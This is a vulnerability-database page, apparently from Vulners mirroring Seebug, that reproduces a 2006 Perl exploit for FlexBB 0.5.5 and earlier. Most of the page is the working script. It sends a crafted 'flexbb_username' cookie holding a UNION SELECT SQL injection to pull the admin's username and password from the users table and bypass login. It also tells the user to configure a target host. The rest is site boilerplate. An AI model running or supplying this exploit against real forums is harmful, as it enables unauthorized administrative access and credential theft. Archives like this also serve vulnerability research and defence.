Lucene search
K

FlexBB <= 0.5.5 (/inc/start.php _COOKIE) Remote SQL ByPass Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 9 Views

Remote SQL Bypass exploit for FlexBB <= 0.5.5

Code

                                                #!/usr/bin/perl -w

# FlexBB &#60;= 0.5.5 (/inc/start.php _COOKIE) Remote SQL ByPass Exploit , Perl C0d3
#
# Milw0rm ID :-
#                        http://www.milw0rm.com/auth.php?id=1539
# D3vil-0x1 | Devil-00 &#60; BlackHat &#62; :)
#
# DONT FORGET TO DO YOUR CONFIG !!
# DONT FORGET TO DO YOUR CONFIG !!
# DONT FORGET TO DO YOUR CONFIG !!
use IO::Socket;

##-- Start --#

$host         = &#34;127.0.0.1&#34;;
$path         = &#34;/flexbb/&#34;;

##-- _END_ --##
#        $host                :-
#                                The Host Name Without http:// | exm. www.vic.com
#
#        $path                :-
#                                FlexBB Dir On Server | exm. /flexbb/

$sock = IO::Socket::INET-&#62;new (
                                                                                PeerAddr =&#62; &#34;$host&#34;,
                                                                                PeerPort        =&#62; &#34;80&#34;,
                                                                                Proto                =&#62; &#34;tcp&#34;
                                                                                ) or die(&#34;[!] Connect To Server Was Filed&#34;);
##-- DONT TRY TO EDIT ME --##
$evilcookie = &#34;flexbb_username=&#39;UNION SELECT id,username,password,4,usertype,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9 FROM flexbb_users WHERE id=1/*;&#34;;
##-- DONT TRY TO EDIT ME --##
$evildata  = &#34;GET &#34;.$path.&#34;index.php?action=buddypopup HTTP/1.1\n&#34;;
$evildata .= &#34;Host: $host \n&#34;;
$evildata .= &#34;Accept: */* \n&#34;;
$evildata .= &#34;Keep-Alive: 300\n&#34;;
$evildata .= &#34;Connection: keep-alive \n&#34;;
$evildata .= &#34;Cookie: &#34;.$evilcookie.&#34;\n\n&#34;;

print $sock $evildata;

while($ans = &#60;$sock&#62;){
#&#60;a href=&#34;./admin/index.php&#34;&#62;
        if($ans =~ m/&#60;a href=\&#34;.\/admin\/index.php&#34;&#62;(.*?)&#60;\/a&#62;/){
            print &#34;\n[+] Bypass [ OKAY ] Edit your cookies  :-\n\n&#34;;
            print &#34;\tflexbb_username=&#39;UNION SELECT id,username,password,4,usertype,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9 FROM flexbb_users WHERE id=1/*;\n\n&#34;;
            exit;
        }
}

# milw0rm.com [2006-04-17]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
9